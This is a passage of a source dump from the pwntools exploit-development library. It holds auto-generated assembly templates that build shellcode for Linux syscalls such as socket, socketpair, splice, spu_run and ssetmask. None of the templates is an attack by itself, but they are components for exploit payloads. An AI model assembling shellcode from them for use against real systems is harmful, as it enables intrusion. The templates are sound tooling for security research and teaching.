pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_setsockopt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_setsockopt'])\n%>\n    /* socketcall_setsockopt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_shutdown.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_shutdown(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_shutdown.\n\nSee 'man 2 socketcall_shutdown' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_shutdown']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_shutdown'])\n%>\n    /* socketcall_shutdown(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_socket.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_socket(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_socket.\n\nSee 'man 2 socketcall_socket' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_socket']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_socket'])\n%>\n    /* socketcall_socket(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_socketpair.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_socketpair(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_socketpair.\n\nSee 'man 2 socketcall_socketpair' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_socketpair']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_socketpair'])\n%>\n    /* socketcall_socketpair(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketpair.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketpair(domain, type, protocol, fds) -> str\n\nInvokes the syscall socketpair.\n\nSee 'man 2 socketpair' for more information.\n\nArguments:\n    domain(int): domain\n    type(int): type\n    protocol(int): protocol\n    fds(int*): fds\nReturns:\n    int\n</%docstring>\n<%page args=\"domain=0, type=0, protocol=0, fds=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['domain', 'type', 'protocol', 'fds']\n    argument_values = [domain, type, protocol, fds]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketpair']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketpair'])\n%>\n    /* socketpair(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/splice.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>splice(fdin, offin, fdout, offout, length, flags) -> str\n\nInvokes the syscall splice.\n\nSee 'man 2 splice' for more information.\n\nArguments:\n    fdin(int): fdin\n    offin(off64_t*): offin\n    fdout(int): fdout\n    offout(off64_t*): offout\n    length(size_t): length\n    flags(unsigned): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fdin=0, offin=0, fdout=0, offout=0, length=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fdin', 'offin', 'fdout', 'offout', 'length', 'flags']\n    argument_values = [fdin, offin, fdout, offout, length, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_splice']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_splice'])\n%>\n    /* splice(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/spu_create.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>spu_create(pathname, flags, mode, neighbor_fd) -> str\n\nInvokes the syscall spu_create.\n\nSee 'man 2 spu_create' for more information.\n\nArguments:\n    pathname(char*): pathname\n    flags(int): flags\n    mode(mode_t): mode\n    neighbor_fd(int): neighbor_fd\nReturns:\n    int\n</%docstring>\n<%page args=\"pathname=0, flags=0, mode=0, neighbor_fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['pathname']\n    can_pushstr_array = []\n\n    argument_names = ['pathname', 'flags', 'mode', 'neighbor_fd']\n    argument_values = [pathname, flags, mode, neighbor_fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_spu_create']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_spu_create'])\n%>\n    /* spu_create(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/spu_run.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>spu_run(fd, npc, event) -> str\n\nInvokes the syscall spu_run.\n\nSee 'man 2 spu_run' for more information.\n\nArguments:\n    fd(int): fd\n    npc(unsigned*): npc\n    event(unsigned*): event\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, npc=0, event=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'npc', 'event']\n    argument_values = [fd, npc, event]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_spu_run']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_spu_run'])\n%>\n    /* spu_run(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ssetmask.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ssetmask(newmask) -> str\n\nInvokes the syscall ssetmask.\n\nSee 'man 2 ssetmask' for more information.\n\nArguments:\n    newmask(long): newmask\nReturns:\n    long\n</%docstring>\n<%page args=\"newmask=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['newmask']\n    argument_values = [newmask]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ssetmask']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ssetmask'])\n%>\n    /* ssetmask(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/stat.asm",
